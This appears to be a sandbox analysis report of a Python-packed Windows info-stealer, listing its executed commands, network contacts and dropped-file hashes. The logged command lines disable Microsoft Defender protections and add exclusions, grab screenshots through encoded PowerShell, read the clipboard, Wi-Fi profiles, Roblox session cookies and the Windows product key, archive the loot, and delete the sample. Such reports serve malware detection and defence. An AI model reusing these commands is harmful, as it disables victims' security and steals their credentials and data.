C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\    ‏.scr'"

C:\Windows\system32\attrib.exe

attrib +h +s "C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\    ‏.scr'

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "netsh wlan show profile"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=

C:\Windows\system32\netsh.exe

netsh wlan show profile

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pdefe4kk\pdefe4kk.cmdline"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4759.tmp" "c:\Users\Admin\AppData\Local\Temp\pdefe4kk\CSC1427F49149D04DDF96163AD8E96C96F.TMP"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI46682\rar.exe a -r -hp"homojani" "C:\Users\Admin\AppData\Local\Temp\RhL8Z.zip" *"

C:\Users\Admin\AppData\Local\Temp\_MEI46682\rar.exe

C:\Users\Admin\AppData\Local\Temp\_MEI46682\rar.exe a -r -hp"homojani" "C:\Users\Admin\AppData\Local\Temp\RhL8Z.zip" *

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe""

C:\Windows\system32\PING.EXE

ping localhost -n 3

Network

Country Destination Domain Proto
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 80.90.14.23.in-addr.arpa udp
US 8.8.8.8:53 17.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 gstatic.com udp
GB 172.217.16.227:443 gstatic.com tcp
US 8.8.8.8:53 227.16.217.172.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 discord.com udp
US 162.159.138.232:443 discord.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 232.138.159.162.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 31.251.17.2.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\_MEI46682\ucrtbase.dll

MD5 24ebedc58aa4ff23043bf79b05d267d4
SHA1 c2e7bd18e4091f2a7f7c933a5734b05dd971f24c
SHA256 d93ce42cd625510b2355de086bcd19e2c11307ccade7bad62b09c7f340a866ba
SHA512 7f0563e814cc4aaf292683403888340bb5d95e6a7bdd35d81eebbd10bfb8e4e5130d0a626b8fb07ff3cafaae4a2698cf7103aabcae74e5d13449db482ec49bc9

C:\Users\Admin\AppData\Local\Temp\_MEI46682\python311.dll

MD5 5792adeab1e4414e0129ce7a228eb8b8
SHA1 e9f022e687b6d88d20ee96d9509f82e916b9ee8c
SHA256 7e1370058177d78a415b7ed113cc15472974440d84267fc44cdc5729535e3967
SHA512 c8298b5780a2a5eebed070ac296eda6902b0cac9fda7bb70e21f482d6693d6d2631ca1ac4be96b75ac0dd50c9ca35be5d0aca9c4586ba7e58021edccd482958b

C:\Users\Admin\AppData\Local\Temp\_MEI46682\VCRUNTIME140.dll

MD5 4585a96cc4eef6aafd5e27ea09147dc6
SHA1 489cfff1b19abbec98fda26ac8958005e88dd0cb
SHA256 a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
SHA512 d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286

memory/3668-67-0x00007FFD6CD60000-0x00007FFD6D349000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI46682\base_library.zip

MD5 2f6d57bccf7f7735acb884a980410f6a
SHA1 93a6926887a08dc09cd92864cd82b2bec7b24ec5
SHA256 1b7d326bad406e96a4c83b5a49714819467e3174ed0a74f81c9ebd96d1dd40b3
SHA512 95bcfc66dbe7b6ad324bd2dc2258a3366a3594bfc50118ab37a2a204906109e42192fb10a91172b340cc28c12640513db268c854947fb9ed8426f214ff8889b4

C:\Users\Admin\AppData\Local\Temp\_MEI46682\_ctypes.pyd

MD5 1adfe4d0f4d68c9c539489b89717984d
SHA1 8ae31b831b3160f5b88dda58ad3959c7423f8eb2
SHA256 64e8fd952ccf5b8adca80ce8c7bc6c96ec7df381789256fe8d326f111f02e95c
SHA512 b403cc46e0874a75e3c0819784244ed6557eae19b0d76ffd86f56b3739db10ea8deec3dc1ca9e94c101263d0ccf506978443085a70c3ab0816885046b5ef5117

C:\Users\Admin\AppData\Local\Temp\_MEI46682\libffi-8.dll

MD5 08b000c3d990bc018fcb91a1e175e06e
SHA1 bd0ce09bb3414d11c91316113c2becfff0862d0d
SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
SHA512 8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

memory/3668-72-0x00007FFD7C350000-0x00007FFD7C373000-memory.dmp

memory/3668-74-0x00007FFD81650000-0x00007FFD8165F000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI46682\api-ms-win-core-file-l2-1-0.dll

MD5 7d4d4593b478b4357446c106b64e61f8
SHA1 8a4969c9e59d7a7485c8cc5723c037b20dea5c9d
SHA256 0a6e2224cde90a0d41926e8863f9956848ffbf19848e8855bd08953112afc801
SHA512 7bc9c473705ec98ba0c1da31c295937d97710cedefc660f6a5cb0512bae36ad23bebb2f6f14df7ce7f90ec3f817b02f577317fdd514560aab22cb0434d8e4e0b

C:\Users\Admin\AppData\Local\Temp\_MEI46682\api-ms-win-core-file-l1-2-0.dll

MD5 f0c73f7454a5ce6fb8e3d795fdb0235d
SHA1 acdd6c5a359421d268b28ddf19d3bcb71f36c010
SHA256 2a59dd891533a028fae7a81e690e4c28c9074c2f327393fab17329affe53fd7b
SHA512 bd6cf4e37c3e7a1a3b36f42858af1b476f69caa4ba1fd836a7e32220e5eff7ccc811c903019560844af988a7c77cc41dc6216c0c949d8e04516a537da5821a3e

C:\Users\Admin\AppData\Local\Temp\_MEI46682\_socket.pyd

MD5 bcc3e26a18d59d76fd6cf7cd64e9e14d
SHA1 b85e4e7d300dbeec942cb44e4a38f2c6314d3166
SHA256 4e19f29266a3d6c127e5e8de01d2c9b68bc55075dd3d6aabe22cf0de4b946a98
SHA512 65026247806feab6e1e5bf2b29a439bdc1543977c1457f6d3ddfbb7684e04f11aba10d58cc5e7ea0c2f07c8eb3c9b1c8a3668d7854a9a6e4340e6d3e43543b74

C:\Users\Admin\AppData\Local\Temp\_MEI46682\_queue.pyd

MD5 decdabaca104520549b0f66c136a9dc1
SHA1 423e6f3100013e5a2c97e65e94834b1b18770a87
SHA256 9d4880f7d0129b1de95becd8ea8bbbf0c044d63e87764d18f9ec00d382e43f84
SHA512 d89ee3779bf7d446514fc712dafb3ebc09069e4f665529a7a1af6494f8955ceb040bef7d18f017bcc3b6fe7addeab104535655971be6eed38d0fc09ec2c37d88

C:\Users\Admin\AppData\Local\Temp\_MEI46682\_lzma.pyd

MD5 3798175fd77eded46a8af6b03c5e5f6d
SHA1 f637eaf42080dcc620642400571473a3fdf9174f
SHA256 3c9d5a9433b22538fc64141cd3784800c567c18e4379003329cf69a1d59b2a41
SHA512 1f7351c9e905265625d725551d8ea1de5d9999bc333d29e6510a5bca4e4d7c1472b2a637e892a485a7437ea4768329e5365b209dd39d7c1995fe3317dc5aecdf

C:\Users\Admin\AppData\Local\Temp\_MEI46682\_hashlib.pyd

MD5 f10d896ed25751ead72d8b03e404ea36
SHA1 eb8e0fd6e2356f76b5ea0cb72ab37399ec9d8ecb
SHA256 3660b985ca47ca1bba07db01458b3153e4e692ee57a8b23ce22f1a5ca18707c3
SHA512 7f234e0d197ba48396fabd1fccc2f19e5d4ad922a2b3fe62920cd485e5065b66813b4b2a2477d2f7f911004e1bc6e5a6ec5e873d8ff81e642fee9e77b428fb42

C:\Users\Admin\AppData\Local\Temp\_MEI46682\_decimal.pyd

MD5 a8952538e090e2ff0efb0ba3c890cd04
SHA1 cdc8bd05a3178a95416e1c15b6c875ee026274df
SHA256 c4e8740c5dbbd2741fc4124908da4b65fa9c3e17d9c9bf3f634710202e0c7009
SHA512 5c16f595f17bedaa9c1fdd14c724bbb404ed59421c63f6fbd3bfd54ce8d6f550147d419ec0430d008c91b01b0c42934c2a08dae844c308feec077da713ac842e

C:\Users\Admin\AppData\Local\Temp\_MEI46682\_bz2.pyd

MD5 2d461b41f6e9a305dde68e9c59e4110a
SHA1 97c2266f47a651e37a72c153116d81d93c7556e8
SHA256 abbe3933a34a9653a757244e8e55b0d7d3a108527a3e9e8a7f2013b5f2a9eff4
SHA512 eef132df6e52eb783bad3e6af0d57cb48cda2eb0edb6e282753b02d21970c1eea6bab03c835ff9f28f2d3e25f5e9e18f176a8c5680522c09da358a1c48cf14c8

C:\Users\Admin\AppData\Local\Temp\_MEI46682\unicodedata.pyd

MD5 c2556dc74aea61b0bd9bd15e9cd7b0d6
SHA1 05eff76e393bfb77958614ff08229b6b770a1750
SHA256 987a6d21ce961afeaaa40ba69859d4dd80d20b77c4ca6d2b928305a873d6796d
SHA512 f29841f262934c810dd1062151aefac78cd6a42d959a8b9ac832455c646645c07fd9220866b262de1bc501e1a9570591c0050d5d3607f1683437dea1ff04c32b

C:\Users\Admin\AppData\Local\Temp\_MEI46682\sqlite3.dll

MD5 395332e795cb6abaca7d0126d6c1f215
SHA1 b845bd8864cd35dcb61f6db3710acc2659ed9f18
SHA256 8e8870dac8c96217feff4fa8af7c687470fbccd093d97121bc1eac533f47316c
SHA512 8bc8c8c5f10127289dedb012b636bc3959acb5c15638e7ed92dacdc8d8dba87a8d994aaffc88bc7dc89ccfeef359e3e79980dfa293a9acae0dc00181096a0d66

C:\Users\Admin\AppData\Local\Temp\_MEI46682\select.pyd

MD5 90fea71c9828751e36c00168b9ba4b2b
SHA1 15b506df7d02612e3ba49f816757ad0c141e9dc1
SHA256 5bbbb4f0b4f9e5329ba1d518d6e8144b1f7d83e2d7eaf6c50eef6a304d78f37d
SHA512 e424be422bf0ef06e7f9ff21e844a84212bfa08d7f9fbd4490cbbcb6493cc38cc1223aaf8b7c9cd637323b81ee93600d107cc1c982a2288eb2a0f80e2ad1f3c5

C:\Users\Admin\AppData\Local\Temp\_MEI46682\rarreg.key

MD5 4531984cad7dacf24c086830068c4abe
